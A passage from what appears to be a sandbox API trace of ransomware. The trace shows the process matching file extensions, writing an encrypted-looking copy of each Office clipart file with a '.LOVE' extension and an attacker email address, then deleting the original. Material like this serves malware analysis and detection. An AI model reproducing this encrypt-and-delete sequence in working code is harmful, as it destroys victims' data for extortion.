(lpString1=".pdf", lpString2=".WMF") returned -1 [0208.547] lstrlenW (lpString=".xls") returned 4 [0208.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.547] lstrlenW (lpString=".xlsx") returned 5 [0208.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.547] lstrlenW (lpString=".ppt") returned 4 [0208.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.547] lstrlenW (lpString=".zip") returned 4 [0208.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.547] lstrlenW (lpString=".rar") returned 4 [0208.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.547] lstrlenW (lpString=".bz2") returned 4 [0208.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.547] lstrlenW (lpString=".7z") returned 3 [0208.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.547] lstrlenW (lpString=".dbf") returned 4 [0208.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.547] lstrlenW (lpString=".1cd") returned 4 [0208.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.547] lstrlenW (lpString=".jpg") returned 4 [0208.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.548] lstrlenW (lpString=".doc") returned 4 [0208.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.548] lstrlenW (lpString=".docx") returned 5 [0208.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.548] lstrlenW (lpString=".pdf") returned 4 [0208.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.548] lstrlenW (lpString=".xls") returned 4 [0208.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.548] lstrlenW (lpString=".xlsx") returned 5 [0208.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.548] lstrlenW (lpString=".ppt") returned 4 [0208.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.548] lstrlenW (lpString=".zip") returned 4 [0208.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.548] lstrlenW (lpString=".rar") returned 4 [0208.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.548] lstrlenW (lpString=".bz2") returned 4 [0208.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.548] lstrlenW (lpString=".7z") returned 3 [0208.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.548] lstrlenW (lpString=".dbf") returned 4 [0208.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.548] lstrlenW (lpString=".1cd") returned 4 [0208.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0208.549] lstrlenW (lpString=".jpg") returned 4 [0208.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.549] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0208.549] lstrlenW (lpString="BL00262_.WMF") returned 12 [0208.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.549] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=2556) returned 1 [0208.549] CloseHandle (hObject=0x2f0) returned 1 [0208.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0208.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.550] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.550] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.550] GetLastError () returned 0x0 [0208.550] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x9fc, lpOverlapped=0x0) returned 1 [0208.569] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xa00, lpOverlapped=0x0) returned 1 [0208.570] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.570] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.570] SetEndOfFile (hFile=0x380) returned 1 [0208.571] CloseHandle (hObject=0x380) returned 1 [0208.571] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.571] SetEndOfFile (hFile=0x2f0) returned 1 [0208.572] CloseHandle (hObject=0x2f0) returned 1 [0208.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0208.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.573] lstrlenW (lpString=".doc") returned 4 [0208.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.573] lstrlenW (lpString=".docx") returned 5 [0208.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.573] lstrlenW (lpString=".pdf") returned 4 [0208.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.573] lstrlenW (lpString=".xls") returned 4 [0208.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.573] lstrlenW (lpString=".xlsx") returned 5 [0208.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.573] lstrlenW (lpString=".ppt") returned 4 [0208.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.573] lstrlenW (lpString=".zip") returned 4 [0208.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.573] lstrlenW (lpString=".rar") returned 4 [0208.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.573] lstrlenW (lpString=".bz2") returned 4 [0208.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.574] lstrlenW (lpString=".7z") returned 3 [0208.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.574] lstrlenW (lpString=".dbf") returned 4 [0208.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.574] lstrlenW (lpString=".1cd") returned 4 [0208.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.574] lstrlenW (lpString=".jpg") returned 4 [0208.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.574] lstrlenW (lpString=".doc") returned 4 [0208.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.574] lstrlenW (lpString=".docx") returned 5 [0208.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.574] lstrlenW (lpString=".pdf") returned 4 [0208.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.574] lstrlenW (lpString=".xls") returned 4 [0208.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.574] lstrlenW (lpString=".xlsx") returned 5 [0208.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.574] lstrlenW (lpString=".ppt") returned 4 [0208.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.574] lstrlenW (lpString=".zip") returned 4 [0208.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.574] lstrlenW (lpString=".rar") returned 4 [0208.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.575] lstrlenW (lpString=".bz2") returned 4 [0208.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.575] lstrlenW (lpString=".7z") returned 3 [0208.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.575] lstrlenW (lpString=".dbf") returned 4 [0208.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.575] lstrlenW (lpString=".1cd") returned 4 [0208.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0208.575] lstrlenW (lpString=".jpg") returned 4 [0208.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.575] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0208.575] lstrlenW (lpString="BL00269_.WMF") returned 12 [0208.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.575] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=5272) returned 1 [0208.575] CloseHandle (hObject=0x2f0) returned 1 [0208.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0208.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.576] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.576] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.576] GetLastError () returned 0x0 [0208.576] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1498, lpOverlapped=0x0) returned 1 [0208.617] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0208.618] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.618] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.618] SetEndOfFile (hFile=0x380) returned 1 [0208.618] CloseHandle (hObject=0x380) returned 1 [0208.619] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.619] SetEndOfFile (hFile=0x2f0) returned 1 [0208.620] CloseHandle (hObject=0x2f0) returned 1 [0208.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0208.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.621] lstrlenW (lpString=".doc") returned 4 [0208.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.621] lstrlenW (lpString=".docx") returned 5 [0208.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.621] lstrlenW (lpString=".pdf") returned 4 [0208.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.621] lstrlenW (lpString=".xls") returned 4 [0208.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.621] lstrlenW (lpString=".xlsx") returned 5 [0208.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.621] lstrlenW (lpString=".ppt") returned 4 [0208.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.621] lstrlenW (lpString=".zip") returned 4 [0208.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.622] lstrlenW (lpString=".rar") returned 4 [0208.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.622] lstrlenW (lpString=".bz2") returned 4 [0208.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.622] lstrlenW (lpString=".7z") returned 3 [0208.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.622] lstrlenW (lpString=".dbf") returned 4 [0208.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.622] lstrlenW (lpString=".1cd") returned 4 [0208.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.622] lstrlenW (lpString=".jpg") returned 4 [0208.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.622] lstrlenW (lpString=".doc") returned 4 [0208.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.622] lstrlenW (lpString=".docx") returned 5 [0208.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.622] lstrlenW (lpString=".pdf") returned 4 [0208.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.622] lstrlenW (lpString=".xls") returned 4 [0208.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.622] lstrlenW (lpString=".xlsx") returned 5 [0208.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.623] lstrlenW (lpString=".ppt") returned 4 [0208.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.623] lstrlenW (lpString=".zip") returned 4 [0208.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.623] lstrlenW (lpString=".rar") returned 4 [0208.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.623] lstrlenW (lpString=".bz2") returned 4 [0208.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.623] lstrlenW (lpString=".7z") returned 3 [0208.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.623] lstrlenW (lpString=".dbf") returned 4 [0208.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.623] lstrlenW (lpString=".1cd") returned 4 [0208.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0208.623] lstrlenW (lpString=".jpg") returned 4 [0208.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.623] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0208.623] lstrlenW (lpString="BL00274_.WMF") returned 12 [0208.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.624] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=4164) returned 1 [0208.624] CloseHandle (hObject=0x2f0) returned 1 [0208.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0208.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0208.624] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.624] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0208.625] GetLastError () returned 0x0 [0208.625] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1044, lpOverlapped=0x0) returned 1 [0208.992] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1050, lpOverlapped=0x0) returned 1 [0209.019] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.020] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.020] SetEndOfFile (hFile=0x380) returned 1 [0209.020] CloseHandle (hObject=0x380) returned 1 [0209.021] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.021] SetEndOfFile (hFile=0x2f0) returned 1 [0209.021] CloseHandle (hObject=0x2f0) returned 1 [0209.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0209.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.022] lstrlenW (lpString=".doc") returned 4 [0209.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.022] lstrlenW (lpString=".docx") returned 5 [0209.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.022] lstrlenW (lpString=".pdf") returned 4 [0209.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.022] lstrlenW (lpString=".xls") returned 4 [0209.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.022] lstrlenW (lpString=".xlsx") returned 5 